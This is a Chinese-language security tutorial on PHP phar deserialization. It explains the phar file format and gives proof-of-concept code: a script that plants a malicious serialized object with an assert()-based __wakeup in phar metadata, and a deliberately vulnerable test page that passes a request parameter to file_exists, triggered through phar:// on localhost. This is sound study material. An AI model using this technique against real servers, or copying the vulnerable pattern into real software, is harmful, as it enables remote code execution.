前言
一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。一般来说,文件操作都是可以触发phar
反序列化的。
可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控
攻击原理
phar结构
翻阅手册可以知道,phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)
,以下是对详细的介绍:
a stub
标识作用,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面任意,但是一定要以__HALT_COMPILER();?>
结尾,否则php无法识别这是一个phar
。
a manifest describing the contents
phar
文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data
序列化信息也在这一部分中。具体结构入图2-1所示:
the file contents
被压缩的文件。
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。
测试
phar文件生成
根据文件结构我们来自己构建一个phar
文件,php
内置了一个Phar
类。
注意:需要将php.ini
中的phar.readonly
设置成off
。
# phar_gen.php
<?php
require_once('Evil.class.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
#eval.class.php
<?php
class Evil {
protected $val;
function __construct($val)
{
$this->val = $val;
}
function __wakeup() {
assert($this->val);
}
}
?>
执行之后生成一个vul.phar
,用二进制编辑器打开,入图2-2所示:
由图2-2可以发现,meta-data
已经以序列化的形式存在phar
文件中。
反序列化
对应,肯定存在着反序列化的操作。php
文件系统中很大一部分的函数在通过phar://
解析时,存在着对meta-data
反序列化的操作。
测试环境如下:
#test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
echo 'success!';
} else {
echo 'error!';
}
?>
访问test.php, http://127.0.0.1/test.php?url=phar://vul.phar
,得图2-3。
参考文章:
https://paper.seebug.org/680/